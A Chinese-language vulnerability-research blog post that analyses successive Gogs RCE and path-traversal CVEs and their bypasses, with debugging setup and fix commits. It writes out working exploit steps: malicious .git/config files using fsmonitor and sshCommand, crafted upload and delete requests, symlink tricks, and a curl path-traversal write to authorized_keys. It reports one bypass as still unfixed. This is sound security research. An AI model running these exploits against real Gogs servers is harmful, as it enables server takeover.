Gogs 命令执行漏洞绕过史

最近看到Gogs命令执行漏洞(CVE-2024-56731)通告,发现Gogs因Git特性出现了很多次命令执行漏洞的修复与绕过,所以一起分析了下。

CVE-2022-0415

影响范围 <0.12.6

调试环境搭建

我一般偏向用Docker搭建漏洞环境,但不像Java应用可以很方便的开启远程调试,Go应用一般需要重新编译和三方工具Delve

源码版本选择了0.12.5,从Dockerfile看到使用了Make编译Gogs源码,修改Makefile以支持调试:

1
2
3
4
5
6
#LDFLAGS += -X "gogs.io/gogs/internal/conf.BuildCommit=$(shell git rev-parse HEAD)"
LDFLAGS += -X "gogs.io/gogs/internal/conf.BuildCommit=test"

build:
#go build $(BUILD_FLAGS) -ldflags '$(LDFLAGS)' -tags '$(TAGS)' -trimpath -o gogs
go build $(BUILD_FLAGS) -gcflags="all=-N -l" -ldflags '$(LDFLAGS)' -tags '$(TAGS)' -trimpath -o gogs

修改Dockerfile以安装Delve:

1
2
3
#FROM alpine:3.14
FROM golang:alpine3.14
RUN go install github.com/go-delve/delve/cmd/dlv@v1.21.0

服务启动用了s6-svscan,修改docker/s6/gogs/run以Delve启动应用:

1
2
#exec gosu "$USER" /app/gogs/gogs web
exec gosu "$USER" dlv --listen=:2345 --headless=true --api-version=2 --accept-multiclient exec /app/gogs/gogs --continue -- web

构建镜像并启动:

1
2
docker build . -t gogs_debug:0.12.5
docker run --rm --name gogs -p 10022:22 -p 10880:3000 -p 2345:2345 gogs_debug:0.12.5

然后用GoLand连接远程调试即可。

漏洞复现与分析

注册登陆并初始化一个仓库:

后端文件系统中会创建一个Git裸仓库(bare repository),即只包含版本控制数据,不包含工作目录。

通过Web界面上传文件涉及两个请求,首先是文件上传,会返回一个uuid:

1
2
3
4
5
6
7
8
9
POST /test/testrepo/upload-file HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYuEc5YbAQlk2ZDIB

------WebKitFormBoundaryYuEc5YbAQlk2ZDIB
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

test
------WebKitFormBoundaryYuEc5YbAQlk2ZDIB--
1
2
3
4
5
6
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8

{
"uuid": "84dd6d6f-cf8b-412a-8285-5ff5f5d15a99"
}

对应后端代码在internal/route/repo/editor.go:514

其中的filename用户可控,不过无法传入含/的路径,只能是基础文件名。(但\是可以的,说不定在windows下可以进一步利用?)

internal/db/repo_editor.go:330中,文件内容会被保存到临时路径,文件名和uuid存入数据库:

第二个请求是文件提交,其中files就是前一个请求返回的uuid:

1
2
3
4
POST /test/testrepo/_upload/main/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

tree_path=&files=ca1d499f-f519-4cb1-bb16-3c4b9068ed43&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=

对应代码在internal/route/repo/editor.go:UploadFilePost,处理完一些请求参数后,会在internal/db/repo_editor.go:UploadRepoFiles完成文件提交,首先通过uuid获取上传的文件对象:

然后重置并更新本地临时工作目录:

此时文件系统会存在该仓库的临时工作目录:

然后上传的文件会复制进指定目录:

接下来会在该仓库目录执行git add git commit git push命令将变动同步到原裸仓库中。

其中拼接到路径中的TreePath没有经过检查,并且用户可以在请求中设置该值,所以导致用户可以上传任意文件到.git目录,那么就可以覆盖.git/config文件,通过core.fsmonitor执行任意命令(将会在git addgit commit时触发):

1
2
3
4
5
6
7
8
9
10
11
12
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = sh -c "whoami > /tmp/success"
[remote "origin"]
url = /data/git/gogs-repositories/test/testrepo.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master

也可以设置core.sshCommand并将url设置为git地址(将会在git push时触发):

1
2
3
4
5
6
7
8
9
10
11
12
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
sshCommand = sh -c "whoami > /tmp/success"
[remote "origin"]
url = git@localhost:test/testrepo.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master

漏洞修复

https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284

对TreePath也进行了检查:

CVE-2022-1884

影响范围 <0.12.8

漏洞原理

参考 https://huntr.com/bounties/9cd4e7b7-0979-4e5e-9a1c-388b58dea76b ,将TreePath设置为.git.可以绕过isRepositoryGitPath函数检查。但.git.仅在Windows下被视为.git

漏洞修复

https://github.com/gogs/gogs/pull/6970/files

添加了.git.

CVE-2022-1986

影响范围 <=0.12.8

漏洞原理

参考 https://huntr.com/bounties/776e8f29-ff5e-4501-bb9f-0bd335007930 ,编辑文件时设置tree_path为.git/config可以绕过,不过也仅在Windows下可以,因为在Windows下os.PathSeparator\,但/可以正常作为路径分隔符使用。

漏洞修复

https://github.com/gogs/gogs/commit/38aff73251cc46ced96dd608dab6190415032a82

CVE-2022-2024

影响范围 < 0.12.11

漏洞原理

参考 https://huntr.com/bounties/18cf9256-23ab-4098-a769-85f8da130f97 ,可以设置tree_path/.Git/以在不区分路径大小写的系统上实现绕过,如Windows和MacOS。

漏洞修复

https://github.com/gogs/gogs/commit/15d0d6a94be0098a8227b6b95bdf2daed105ec41

在isRepositoryGitPath函数中首先进行strings.ToLower(path)

CVE-2024-39931

影响范围 <=0.13.0

调试环境搭建

源码版本选择了0.13.0,从Dockerfile看到使用了Task编译Gogs源码,修改Taskfile.yml以支持调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
tasks:
build:
cmds:
- go build -v
-gcflags="all=-N -l"
-ldflags '
-X "{{.PKG_PATH}}.BuildTime={{.BUILD_TIME}}"
-X "{{.PKG_PATH}}.BuildCommit={{.BUILD_COMMIT}}"
'
-tags '{{.TAGS}}'
-trimpath -o gogs{{.BINARY_EXT}}
vars:
BUILD_COMMIT: test

修改Dockerfile以安装Delve:

1
2
3
#FROM alpine:3.17
FROM golang:alpine3.17
RUN go install github.com/go-delve/delve/cmd/dlv@v1.21.0

修改docker/s6/gogs/run以Delve启动应用:

1
2
#exec gosu "$USER" /app/gogs/gogs web
exec gosu "$USER" dlv --listen=:2345 --headless=true --api-version=2 --accept-multiclient exec /app/gogs/gogs --continue -- web

构建镜像并启动:

1
2
docker build . -t gogs_debug:0.13.0
docker run --rm --name gogs -p 10022:22 -p 10880:3000 -p 2345:2345 gogs_debug:0.13.0

漏洞复现与分析

新建仓库,并在其中创建一个裸仓库:

1
2
3
4
5
6
7
8
9
10
11
12
13
git clone http://127.0.0.1:10880/test/testrepo.git
cd testrepo
git init --bare
cat >> config <<EOF
sshCommand = sh -c "whoami > /tmp/success"
[remote "origin"]
url = git@localhost:test/testrepo.git
fetch = +refs/heads/*:refs/remotes/origin/*
EOF
touch objects/info/.keep objects/pack/.keep refs/heads/.keep refs/tags/.keep
git add .
git commit -m "test"
git push

在Web界面删除文件抓包得到接口,并用来删除.git/HEAD文件:

1
POST /test/testrepo/_delete/main/.git/HEAD HTTP/1.1

然后再在Web界面新建或上传文件,将会触发git fetch操作,而此时.git/HEAD文件已经被删除,git将会检查当前目录是否是有效裸仓库,那么在config中的配置将会生效。具体可以参考 https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-2/

漏洞修复

https://github.com/gogs/gogs/pull/7870/files

删除文件时进行了路径检查:

CVE-2024-54148

影响范围 <0.13.1

漏洞复现与分析

依然使用0.12.5版本,在仓库创建指向.git/config的软链接:

直接提交修改的话,会提示无法编辑:

代码在internal/route/repo/editor.go:122entry.IsSymlink()检测的是tree_path的值即新的文件路径:

所以只要修改文件路径就可以通过这里的检测,然后在internal/db/repo_editor.go:UpdateRepoFile中会将原文件移动到新路径并修改内容:

漏洞修复

https://github.com/gogs/gogs/commit/c94baec9ca923f38c19f0c7c5af722b9ec04022a

对原文件也进行了检测:

CVE-2024-55947

影响范围 <0.13.1

漏洞复现与分析

参考 https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg ,访问 http://127.0.0.1:10880/user/settings/applications 生成令牌,然后使用以下接口即可目录穿越写入任意文件:

1
2
3
4
5
6
7
curl --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/test/testrepo/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
-H "Authorization: token e7f4413e74a53f535c3d3a68000e7f35c03ac880" \
-H "Content-Type: application/json" \
--data '{
"message": "an",
"content": "<base64encoded: your ssh pub key>"
}'

源码0.13.0,代码位置在internal/route/api/v1/repo/contents.go:PutContents

treePath传入了UpdateRepoFile

UpdateRepoFile中会直接使用该路径并写入内容:

漏洞修复

https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41#diff-2061f8945100fdb89720c7f02832eca589c0370d6e488c7a6f062ede0f63b97d

对路径进行了处理防止目录穿越:

CVE-2024-56731

漏洞复现与分析

参考 https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7 ,其实是对CVE-2024-39931的绕过,CVE-2024-39931对删除文件的路径进行了检查,防止删除.git目录下的文件,但是可以通过创建.git目录的软链接绕过检查。

新建仓库,并在其中创建一个裸仓库,同时创建.git目录的软链接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
git clone http://127.0.0.1:10880/test/testrepo.git
cd testrepo
git init --bare
cat >> config <<EOF
sshCommand = sh -c "whoami > /tmp/success"
[remote "origin"]
url = git@localhost:test/testrepo.git
fetch = +refs/heads/*:refs/remotes/origin/*
EOF
touch objects/info/.keep objects/pack/.keep refs/heads/.keep refs/tags/.keep
ln -s .git gitdir
git add .
git commit -m "test"
git push

在Web界面删除文件抓包得到接口,尝试删除.git/HEAD文件会发现失败:

1
POST /test/testrepo/_delete/main/.git/HEAD HTTP/1.1

通过软链接绕过:

1
POST /test/testrepo/_delete/main/gitdir/HEAD HTTP/1.1

漏洞修复

测试发现最新版本0.13.3也还未修复。